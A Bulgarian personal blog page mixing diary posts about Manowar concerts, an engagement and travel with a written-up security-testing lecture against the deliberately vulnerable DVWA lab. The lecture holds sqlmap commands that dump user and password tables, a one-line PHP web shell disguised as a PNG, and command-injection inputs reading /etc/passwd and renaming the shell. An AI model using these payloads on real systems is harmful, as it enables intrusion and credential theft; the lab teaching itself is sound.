Page 18 of 48

Ще бъда лектор на ISTA 2019

O shit, o shit, o shit. Вайкам се из апартамента докато Златина и котката Иво ме гледат като човек, който е изгубил разсъдака си (което не е далеч от истината по принцип).

Та да – бях одобрен да говоря на една от най-голямите конференции в България и на темата сигурност (но с повече мемета, обещавам!) – “Security testing – from lizard to wizard in 40 minutes”.

Освен нещата, които вече казах на QA: Challenge Accepted мисля да добавя малко по-advanced техники или да направя изцяло нова лекция. Вие какво мислите по въпроса? Какво ви е интересно?

24.06.2019

Който не се е занимавал с windows docker контейнери е живял щастлив живот.

Тия дни основно над това се потя (може би и от това, че съм дебел и навън е 30 градуса?) и ми иде да си отхапя някоя артерия.

Три пъти започвам и по различни причини спирам да пиша статията за концерта на Manowar 2019 (за предишните ми преживявания с Manowar писах скоро). Надявам се преди рождения ден на блога да приключа с темата, защото спомените и малките детайли изветряват лека-полека.
Като цяло миналата седмица беше откачена – Неделя летях за София за концерта на Manowar в зала “Арена Армеец”, понеделник и вторник бях в офиса, а след това бири с колегите, а вторник полета ми закъсня и кацнах малко преди 02:00 сутринта. Да ми живеят десетте гигабайта мобилен интернет и сериала Чернобил, който към момента в IMDB е с 9.6/10, което от своя страна си е рекорд на всички времена. Един отрицателен момент в това, че направиха такъв сериал е, че всички в news feed-а ми станаха атомни инженери :D

In other news:

Нямам какво да ви кажа за пръв път от почти 5 години. Толкова не съм се подготвил, че ме е срам направо.

Manowar – една моя стара любов

Някъде около 2004-2005 г.

Брат ми каза – “Абе тука намерих едни яки, искаш ли да ги чуеш?”
Така за пръв път се сблъсках с Manowar, а първата тяхна песен, която чух беше Metal Warriors. Така братлето ми даде един от основните стилове, които слушам и до днес и ще е част от мен завинаги.
Благодаря, Светльо.

2007

Стефан, някогашния ми най-добър приятел, ми пише по IRC:
“Недко, Manowar ще идват в България, в Каварна!!!”

Тогава бяха едни от най-силните години на метъл културата извън София.

Стефан, сам по себе си беше далеч от хеви метъла и повече към дед/грайндкор метъла, но споделяше с мен мечтата ми. Защото така правят приятелите. Помня за рожденния си ден, че имаше събиране в нас и помолих приятелите да не ми дават подарък, а пари за да мога да си взема билета. Събрах пари, уговорихме едни палатки около Каварна, намерихме си и транспорт с един червен Форд Ескорт на около хиляда години.

Помня много ясно (точно този спомен изплува много често когато ходя по концерти) как се видяхме със Стефан 2 часа преди да дойдат да ни вземат. Ходихме да пием по едно кафе, взехме си нещо за ръфане по пътя и една двулитрова бутилка с някаква съмнителна енергийна напитка (от която като се уригне някой, а това ставаше често, трябваше да отваряме всичките прозорци за 4-5 минути) и час преди срещата бяхме на спирката.
Спирката и до ден днешен си е там, но тогава имаше от онези зелените стъклени панели и беше изрисувана с разни тъпотии. Стефан написа датата – 30.06.2007, сигурно още стои там. Надписа е преживял едно приятелство, три концерта на Manowar и 12 години.

Навън беше един от най-приятните юнски дни. Стефан мрънкаше, че краката му в тия кубинки са заврели, аз стоях и гледах в една точка. Птиците пееха, нямаше почти никакво движение по булеварда, обелвахме по 1-2 думи, стоейки на счупената пейка и мечтаехме за събитието, което щеше да се случи след само няколко часа . Това е един от най-хармоничните и най-приятните спомени, които имам изобщо.

Колата дойде, пътувахме цяла безкрайност до Каварна, вътре крещяхме, пяхме и само дето не си блъскахме главите една в друга от радост. Радостта на двайсетте ни години.

Нямам ясни спомени как направихме организацията, предполагам след като е приключил концерта някой е дошъл да ме вземе и да ходим към палатките, Стефан помня, че беше отвън и разказа, че е откачил от кеф, макар и да не е фен.
Аз влязох, сам, с тениска, която ми беше сигурно 2 номера по-голяма и незнаейки какво да очаквам, беше ме малко страх, че ще се разочаровам. Имаше толкова много хора с огромни коси, кожени дрехи, очила. Тогава сигурно за пръв път се почувствах добре в тълпа от напълно непознати. Набутах се малко по-напред и започна шоуто на Sixth Sense за които нямам абсолютно никакви спомени.

Ноо после излезе зашеметяващата Maria Breon заедно с останалите от Holyhell и изнесоха прилично шоу. И точно когато смятах, че няма колко по-добре да стане, защото бях сигурен, че Ерик Адамс няма да излезе да изпее с Maria Breon The Phantom of the opera… чух първите ѝ ноти и към средата излезе … Ерик Адамс. Публиката тотално откачи, имах чувството, че се вдигнахме на метър над тревата на стадиона. Беше тооолкова яко за двадесет годишното ми аз, че си мислих, че по-добре не може.

И сбърках.

По времето на подгряващите групи беше мега горещо и охраната пред нас ни поливаше с маркучи вода, бири се лееха с тонове (без да преувеличавам), беше нечовешко.

След бърз сетъп излязоха Manowar и без да губят и секунда започнаха с едноименния си сингъл. Тогава не очаквах да влязат с вратата, а първо речите на Джоуи ДеМайо от по 20 минути, а, у и чак тогава.
Помних текста на всяка една от двадесет и двете песни. Всяка.

И след като приключиха с потресаващото Hail and Kill (което по случайност слушам точно в момента в който пиша статията) времето спря и два акорда шокираха публиката. Все едно наякой хвърли бомба в краката ни и ние не можахме да реагираме когато нещо избухна.
И то се случи – първите два акорда на нашия химн прозвучаха от Manowar. После следващите два, после още малко, после Ерик Адамс пя на български. Всички в публиката ревахме като говеда.

Тогава нямаше още националистически партии, псевдопатриотите бяха малко и не пускаха химна на всяко събиране на себеопределили се спасители на клета България. Тогава химна се пускаше рядко и по правилните поводи. И това остави следа толкова дълбока в мен, че докато го пиша пак се просълзявам.

Копелетата дойдоха, грабнаха душите и сърцата ни и си тръгнаха като абсолютните победители.

Следващите няколко дни шепнех, защото не можех да говоря и точно в този момент, точно в тези няколко часа преди по време и след концерта се чувствах лек и щастлив.

Сетлиста от 2007 година можете да намерите тук. Галерия със снимки – тук.

2008 г.

Вече съм навлязал с двата крака в своите двайсет и една години учейки в ултра престижната кочина наричана Шуменски Университет. Събрали сме се на Бункера – емблематично място в Добрич и пием бирички и си говорим за неправдите в нашите животи (‘щото, нали) и Митко супер casual хвърля бомбата:
“Абе знаете ли, че Manowar ще идват в Каварна след месец?”

След първоначалния шок, защото не очаквах да дойдат толкова скоро се разбрахме да ходим заедно. Преживяването по пътя, нетърпението и всичко останало беше бледо, отидохме там с уговорката, че след концета ще ходим на палатки, но като излязох всички бяха пияни и така спахме в колата – аз, Митко, брат му и приятелката (на един от двамата, не се сещам на кой беше). Щяхме да умрем в това Алеко.

За концерта обаче нещата бяха различни. Отидохме с много сериозните очаквания и там вълшебството продължи. За разлика от “само” 29-те песни през 2007 година 2008 беше петчасов душевен оргазъм, който според Manowar са счупели рекорда за най-дълъг хевиметъл концерт в историята. 47 песни, една след друга, без никакво прекъсване. В петте часа и една минута бяхме всички заедно, един огромен, мощен глас от сърцата и душите на феновете. Тогава знаехме всички текстове на всички песни, беше не-ве-ро-ят-но. Дойдоха си и с класически оркестър и имаше страшна заря на съпровода на The Crown and the Ring.

Цяла седмица бях без глас. Цяла!

Сетлиста от 2008 година можете да намерите тук. Галерия със снимки – тук.

2010

В своите двадесет и три години по много случаен начин попаднах на един постер във фейсбук в който пишеше само “Dano da e istina”. И беше. Metallica, Slayer, Megadeth и Anthrax в ден първи и Rammstein, Manowar, Stone Sour, Alice in Chains в ден втори. В София.

Беше най-мащабния концерт на българска територия като освен това в 800 киносалона в цял свят даваха на живо, последваха записи на DVD и BluRay.

За другите групи и за това как не можех да повярвам, че ги слушам на живо ще пиша друг път. Но тогава, преди точно девет години, се срещнах за последно с Manowar. И тогава, понеже Dio беше си заминал само 2-3 месеца по-рано, Джоуи ДеМайо излезе и говори. И говори. И говори. И изяде 1/2 от така или иначе малкото време на Manowar. Изсвириха само седем пестни и това повлия сериозно на имиджа им тук, в България. След техните 7 песни и дъъъъълги речи Rammstein излязоха и всички забравихме за бледото представяне на Manowar. Както и за това, че са били там.

Сетлиста от 2010 година можете да намерите тук. Галерия със снимки – тук.

2019

Вече в моите тридесет и почти три години, сгоден, дебел, работещ и с ясна посока в живота пак потрепервам като се сетя, че ще ги чуя пак, за последен (според тях) път, тук – в България. И си правя равносметки. И се радвам. И ми е малко тъжно. Но дано последната ни среща е толкова запомняща се като първата за да имам какво да разправям на внуците си един ден когато Manowar няма да ги има, но ще живеят в сърцата на всичките си фенове.

Вальо, Вельо – пригответе се. Този път ще е безмилостно.

И всеки път когато ходя на концерт на когото и да е било се връщам обратно през 2007 година, на онази спирка, със Стефан, когато чакахме неизбежното, бяхме на ръба на онази пропаст между детско-юношесктите годни и живота и се усмихвахме, готови да се гмурнем с главите напред. И го направихме.

16.06.2019

Върнахме се от Корфу, но Кофру не си тръгна от нас. Скоро – кратка история по темата.

Първите шест месеца на годината минаха доста… динамично (както казват HR-ките като искат да опишат кочина). Кратък списък:

  • Януари – САЩ – Калифорния/Вегас;
  • Февруари – Видяхме се и говорихме с Петър Ванев – приключенец, който обича да върви много. Толкова много. Намерих сродна душа по желание за екстремност и нужда да стигне до breaking point-а си;
  • Март – Виена – Сгодихме се със Златина. Историята е дълга и на повечето хора им е смешно докато я разказвам, ако има интерес ще я разпиша тук. Говорихме със студенти от ВИНС и ТУ-Варна – правихме лекция и после присъствах на workshop (note – колегите от ТУ-Варна ме впечатлиха!);
  • Април – the кочина – първо дойде концерта на Bullet for my Valentine, няколко дни по-късно бях поканен на среща на Dev.BG в която пихме бира с много и интересни QA от всякаква порода, размер и убеждения, после дойде седмицата с под 2 часа сън и подготовка за QA: Challenge Accepted 5.0, после дойде и самата конференция (за която още не съм писал) – 800 човека, security и 25 минути. Беше нещо, което няма да забравя. Записа – тук;
  • Май – социален месец – първо кръщене на племенничката ми, на същия ден – сватбата на Амалия и Денис, няколко дни по-късно – кръщене с изненадваща сватба на Мария и Краси. Първо каране за годината (благодаря на Нора и Явор за колчето за кормило, което ми донесоха на ръце от Лондон!);
  • Юни – Корфу – почти 2800 км. с колата, приятна компания (и двете ми други племеннички) с преживявания и гледки, които остават. За това – скоро. Снимах толкова много за пръв път от месеци. За втори път карах колело, чувството за щастие беше по-близо отколкото очаквах.

Какво ще се случи?

  • Тази неделя е концерта на Manowar – не съм се вълнувал така от предпоследния им концерт…
  • Podcast-ish – идея, която ми се върти от много време. Пуснах и анкета в страницата и първо, че гласуваха цели 25 човека (очаквах трима-четирима) и второ – 68% искат да направят грешката да ми слушат гласа (и мекия акцент?). Скоро ще взема микрофон и ще видим за какво ще си говорим;
  • Дунав Ултра – бях се отказал, после пак ми мина идеята през главата, сега май ме е обзела като миналата година. Започвам тренировки скоро;
  • DevOPS – силен фокус и много;
  • Очаквам списъка с одобрените лектори на ISTA 2019 за която кандидатствах тази година.

The Corfu experience

И ето, че от половин година чакане този петък още една мечта се сбъдна – да отидем до островите в Гърция и по-конкретно – Корфу.

Разказа за него, макар и вероятно да бъде изцяло художествен описващ картини, храна и живот, ще е по-натам. Но за сравнение – тази година като бях в САЩ минахме покрай Малибу и в сравнение с гръцките плажове и гледки там си е нещо като ок курортче :)

Снимки – скоро.

Честит 24 Май

Едно от първите ми спомени свързани с четене и писане е когато майка ми помагаше в първи клас да уча буквите. Доста време мина от тогава.

Помня как беше седнала и ми показваше буква по буква, ченгелче по ченгелче кое как, брат ми се въртеше наоколо и се чудеше какво правим, татко и той помагаше.

Доста време мина от тогава.

Помня първия ми досег с Правец 8М в мазата на началното ми училище и как малко нелегално г-н Петър Стоянов (лека му пръст) ме вкарваше в часовете на по-големите за да науча повече.

Помня и когато смених училището след основното си образование. Там г-жа Маринела Горанова, която преподаваше по ИТ предметите, ни наливаше знания прецизно и внимателно, обясняваше ни ред по ред кое какво и как се случва и ни даде фундамента, който изполвам и до ден днешен. После имах възможността да говоря повечко с тогавашния ни директор, г-н Тодор Георгиев, който ни даде пример какво е да си спокоен и разумен (второто май не го научих много добре), идваше с нас по състезанията и подкрепяше без думи, с благата си усмивка. После дойде ред на висшето ми образование и г-жа Светлана Василева, която от първия ден ни подхвана всичките и с адската педантичност и прецизност продължи да реди фундаментите на науката в главите ни.

После ей така изненадващо за всички започнах да пиша разкази и проза.


Имаше и много други, които са в сърцето и ума ми, но тези, гореизброените, ме направиха (емоционално) грамотен имащ нуждата да дава знанията си на другите ей така, само заради онзи пламък в очите на току-що връхновения.

Честит празник. Обичайте се и си четете по-често заедно.

12.05.2019

Мисля, че дойде време да си върна същото темпо на блога и да си пиша моите дневни злободневия плюс секцията “In other news” където пусках разни неща случили се долу-горе на деня на писане на статията.

Някак последно време успях да затъпя нуждата да пиша и малко по малко забравих, че съм се commit-нал да пиша тук, да споделям. И като се присетя ми домъчнява малко.

А имам толкова да ви разакзвам. Още в началото на годината се случиха хубави неща – ходих до САЩ, после до Виена, сгодихме се със Златина, в ТУ Варна правихме уоркшопи (има ли някаква българска дума за това?), занимавам се с docker, което ме прави щастлив, подготвям редица технически статии, ходихме на концерта на Bullet for my Valentine и 40 days later, говорих пред 800 човекана тазгодишния QA: Challenge Accepted. След две седмици ни предстои да топим гъзове в Гърция.

Имам и въпрос към четящите блога – смятате ли, че е ок да има и аудио съдържание? Например по-детайлни разкази за темите от “In other news” или някакви tips and tricks? Например сега подготвям един много basic tutorial за docker и понеже афинитета ми към огромни текстове пак ще надделее май audio-текстовото съдържание ще е по-леко?

Как мислите вие? Пишете в коментарите.

Тя

Рано или късно всичко ще свърши.

Но тия две очи, тия две ръце
ме карат да живея
и да има смисъл.

Тия две очи, които ме следят тайничко
докато правя злободневните ни неща
И които като се смееш стават на резенче кора от мандарина.

Тия двете ръце, които стиснахме преди … 4 години?
Още са топли и прегръщат силно.
А лекуват душата с един-два допира.
А тя вече танцува. Усмихва се.

Трябваше по-рано, но и сега не е края на света.
Въпрос на коляно зададен,
кима, казва “Да” ясно, отчетливо.
Плачем.
Живеем.
Заедно.

Обичам те.

Security testing – fast forward. The lecture

По-долу е лекцията, която изнесох на QA: Challenge Accepted 5.0. Различно е отсъствието на плоските шегички и малко по-подробната на места информация.

Като начало, вместо начало

Scope-а на лекцията е да демонстрира няколко добре известни атаки под формата на един общ процес. Това са:

  1. Да намерим потребителските имена и пароли в база, до която нямаме credentials;
  2. Да качим зловреден код прескачайки (добре) написана upload функционалност;
  3. Да изпълним кода и да получим съдържанието на произволен файл в системата.

Инструментариума, който ще използваме е:

Подготовка на средата:

Инсталацията на Docker и Python са като всяко друго windows next-next-finish приложение. След това идва драмата.

За да вдигнете цялата си среда, трябва в command prompt (start menu – cmd) да изтеглите docker repo-то:

https://hub.docker.com/r/vulnerables/web-dvwa/

Сега repo-то на DVWA заедно с апаче, база данни, PHP и една кофа неща са при вас. За да ги направите достъпни, трябва просто да стартирате контейнера:

docker run --rm -it -p 80:80 vulnerables/web-dvwa

1. SQL Injection

SQL Injection най-общо казано е възможност за изпълняване на нерегламентирани SQL statements като SELECT, UNION и т.н., които не са предвидени в текущата функционалност на приложението. С други думи ако параметризирате без подходяща валидация и/или санитизация някой параметър, може да има драма. Пример за драма:
GET request:

http://nedko.info/sql_injection/inj.php?drama=1

Кода, който работи отдолу:

$drama = $_GET[‘drama’];
$getDrama  = “SELECT * FROM vulnerabilities WHERE type = ‘$id’;”;

Ако въведете валидни данни всичко ще е супер, ноо (второто О е за допълнителна драма) ако счупите заявката ще стане любопитно.

Най-елементарния и емблематичен пример е Светия Апостроф. Ако набием един ‘ след параметъра ?drama=1’ ще строшим SQL заявката.

Пример в DVWA с класически SQL injection (линк към локалния DVWA – http://localhost/vulnerabilities/sqli/):

DVWA – SQL Injection, level 1

Но понеже живота на penetration tester-а (или на смъртния човек, който е решил да се занимава с това) не винаги е лесен (никога не е) и може вече някой програмист далновидно да е решил да направи валидация и да избегне този балъшки тест.

Тогава идва ред за нашето последно късче надежда или т.нар. Blind SQL Injection (или както след лекцията някой каза – Орхан Мурад SQL injection), който можете да намерите в менюто на DVWA – SQL Injection (Blind). По самото си същество това е същата уязвимост, но не получаваме веднага потвърждение от типа на бял екран или експлозия на еднорози. Но лесно можем да проверим какво става като отворим inspector-а на Chrome (естествено става и с всички други модерни браузъри, дори и с Онова, което никой не нарича браузър) и влезем в таб Network. Там ще минат всички request-и (POST/GET ни интересуват най-много, но ще видите и images, JS, CSS files и всичко от което има нужда ресурса, който сте отворили).

Сега като набиете един ‘ в полето “User ID” наблюдавайте какво ще се случи в Network Tab-а:

За да продължим към екшъна ще ни трябват и кукитата на скрипта, защото все пак, за да достигнем тази функционалност минахме през логин. Cookies можете мега лесно да намерите на същия екран, но в подтаб (има ли такава дума?) “Cookies”:

До момента използвахме само браузъра за нашите дребни шегички с администраторите. Сега е ред да използваме нещо по-могъщо – sqlmap.

Note – чудите се къде са SQL break characters, къде ви е cheatsheet-а с който можете с copy/paste да трошите сайтове? Понеже на лекцията имах само 25 минути нямаше време за това, няма да го покажа и тук (освен ако някой наистина иска да види какво става отдолу, тогава на драго сърце бих дописал статията с малко теория). За наше щастие sqlmap прави всичко за нас. Ние само трябва да му дадем параметъра, който смятаме за уязвим и cookie-тата, за да може инструмента да се “логне”. Туй то, както казваме в Добричко/Варненския край.

sqlmap – our secret weapon

За да подкарате sqlmap, трябва да имате първо Python. Инсталацията му е лесна и няма да имате грижи.

По ред на information gathering процеса ще запиша тук всичките стъпки, през които трябва да минем:

python ./sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” –dbs

Резултата:

available databases [2]:
[*] dvwa
[*] information_schema

И ето, че намерихме базата, която използва DVWA. Сега ще ровим още, за да получим имената на таблиците на същата база (ако новите и старите богове нямат нищо против):

./sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” -D dvwa –tables

Новите параметри тук са:

  • -D dvwa – казваме, че целта на нашата задача е база с име dvwa
  • –tables – покажи всички таблици от базата дефинирана по-горе.
Database: dvwa
[2 tables]
guestbook
users

И ето, че без много зор стигнахме до таблиците на база, за която нямаме никакви credentials. И понеже чичо Недко е нагляр по природа продължаваме да видим докъде можем да стигнем:

python ./sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” -D dvwa -T users –columns

Новите параметри тук са:

  • -T users – целта ни е таблица с име users;
  • –columns – покажи колоните на базата (това е нещо като show columns from [users] в mySQL).
Database: dvwa
Table: users
[8 columns]
Column – Type
user – varchar(15)
avatar – varchar(70)
failed_login – int(3)
first_name – varchar(15)
last_login – timestamp
last_name – varchar(15)
password – varchar(32)
user_id – int(6)

Note – можете да видите и payload-а, който sqlmap ще направи, ако сте от любопитните.

И ето, че имаме всичката нужна информация за базата и структурата ѝ:

  • DB name – dvwa;
  • DB tables – guestbook, users;
  • DB user columns – user, avatar, failed_login, first_name, last_login, password, user_id;
  • Таблици, които са ни интересни – user и password.

Извеждане на потребители и пароли и декрпитирането им

python sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” -C user,password –dump

Както забелязвате няма нужда да въвеждаме името на базата и таблицата тук, защото sqlmap си ги пази. Това значи, че ако решите да си reproduce-нете целия сценарии отново, трябва да минете през горните точки също.

И ето, че с последната команда направихме все едно един select user, password from users, взехме хешовете и направихме dictionary attack в който съпоставихме хешовете с тези в dictionary файла.
Естествено за демото паролите не бяха t@snipi4ki!, а тривиални, за да може да не използваме +10GB файлове и часове чакане, а покажем как работи sqlmap-а.

И ето, че потребителите, които имаме в базата са:

  • 1337/charley
  • admin/password
  • gordonb/abc123
  • pablo/letmein
  • smithy/password

С това нашата задача приключи. Продължаваме напред, Кобра, с:

File Upload manipulation

Малко тъпо заглавие, но друго не измислих. Идеята е, че ще направим малък трик, с който ще успеем да качим PHP файл, който ще представим за PNG и в последстиве ще преименуваме директно на сървъра с command injection, за да изпълним зловредния си код (зъл смях).

Преди време имах трудни периоди с един програмист, който пишеше upload форми като казахтстански опълченец – без никакви валидации освен разширението на файла. След десетки спорове стигнахме до консенсуса да ползваме getimagesize в PHP. Хитринката е, че освен размера на image-а функцията проверява и дали файла е от тип image или някой хитряга се опитва да върти номера. Тогава при моите си опити да кача нещо друго освен image, не увенчах успех. Но днес ще ви покажа как да прескочим и това.

Нашия зловреден код ще е убер прост:

<?php

system($_GET[‘cmd’]);

?>

Когато го качим на сървъра, ще можем да извикваме параметри през него все едно сме в конзолата:
http://localhost/hackable/uploads/hack.php?cmd=ls /

Преди това обаче свръх малко теория – подобни функции изчитат сигнатурата на файла, която е в началото му и ако срещнат съвпадащи такива с типа, за който се представя файла, го приемат за чиста монета.
До момента, в който някой не реши да смени тази сигнатура (laugh in Spanish).

За да редактираме сигнатурата на файл, ни трябва HEX редактор и PHP кода от по-горе запазен във файл с разширение PNG (в моя случай е hack.png). На по-старите кучета, които са живели във времето, в което това беше актуално, няма да обяснявам какво е, а за по-новите кучета – също. Просто си изтеглете WinHEX или който и да е друг подобен инструмент, отворете hack.png и от страницата File Signatures Table намерете PNG и го копирайте в началото на файла:

При paste изберете в диалоговия прозорец “ASCII Hex”.

И ето, че имаме handcrafted файл, който можем да си използваме да си тестваме upload формите.

Нека сега опитаме да качим файла през upload формата на DVWA:

И ето, че имаме качен успешно файла в две директории нагоре /hackable/uploads.
Ако сега го достъпим, браузъра ще се опита да отвори файла като image, но ще покаже някаква простотия. Пътя до файла е http://localhost/hackable/uploads/hack.png

Понеже сега не можем да изпълним PHP-то, идва ред на третата и последна атака, която ще направим днес:

Command Injection

Целта на тази атака е да намерим функционалност, която извиква директно команда от системата и да слепим с нея втора, която ние да си изберем. В конкретния случай ще преименуваме hack.png в hack.php.

Като цяло извикването на команда директно си е за бой, но ако извикате команда през PHP без да имате нужните валидации, сте за хвърляне зад Вала.
Както повечето атаки и тази разчита на липса на валидации за специфични кейсове. Атаката се осъществява мега лесно със знак за конкатенация. Пример за такива знаци има в кода на DVWA (ниво на трудност High):

Нашата нищожна атака ще е супер проста. Както виждате от примера по-горе на трети ред след| има интервал (демонстриращ, че човешката грешка също е важен показател). Тоест с | ще можем да слепим втора команда след валидно подадена такава (като не забравяме, че не трябва да има интервал след знака, за да не мине валицадията). Ето и пример с това как можем да видим системен файл директно от WEB чрез command injection:

localhost|cat /etc/passwd

И както виждате можем да видим съдържанието на системен файл без проблем, за това ще опитаме да преименуваме файла hack.png в hack.php и да го изпълним. Командата е:
localhost|mv ../../hackable/uploads/hack.png ../../hackable/uploads/hack.php

Не очаквайте винаги да има някакъв output от командите, които (се опитвате да) изпълнявате.

Изпълнението на зловещия план

След като създадохме файл, който специално обработихме, качихме и преименувахме, е време да го изпълним и да видим дали всичката тази играчка ще сработи. Ще се опитаме да видим съдържанието на конфигурационния файл на DVWA:

http://localhost/hackable/uploads/hack.php?cmd=cat%20/var/www/html/config/config.inc.php

След като го изпълните дайте view source (ctrl+u)

И ето, че с тези елементарни похвати успяхме да извлечем потребителските имена и пароли от базата на DVWA, да му прескочим upload формата и да изпълним произволна команда.

Линк с презентацията можете да намерите мааалко по-долу. Публикувам я as it is макар, че малко се счупи при импорта от PowerPoint към Google Slides. #Yolo (или както Исуската казва – #YOLT (you only live twice).

Заключение

На всички ни е ясно, че новите ORM frameworks например се грижат за SQL injection още на много ниско ниво, че command injections могат да се разрешат лесно с използването на почти произволен framework и правилна конфигурация, но всеки трябва да се замисли поне малко за сигурността, докато пише проложения, за да може тези, които го тестват да кимнат одобрително с глава и като го пуснат в production, да са поне една идея по-спокойни.

P.S. Ако ви е интересно мога да разпиша повече по темата с DVWA като XSS, CSRF, чупене на хешове с John the Ripper, сигурност в WordPress (скенери, атаки, как да се предпазим, а, у) и т.н.

P.S.S. Преди време говорих на WordPress meetup-а във Варна за сигурност, ако ви е интересно – има повечко системни неща, има и dictionary attack-а и подобни: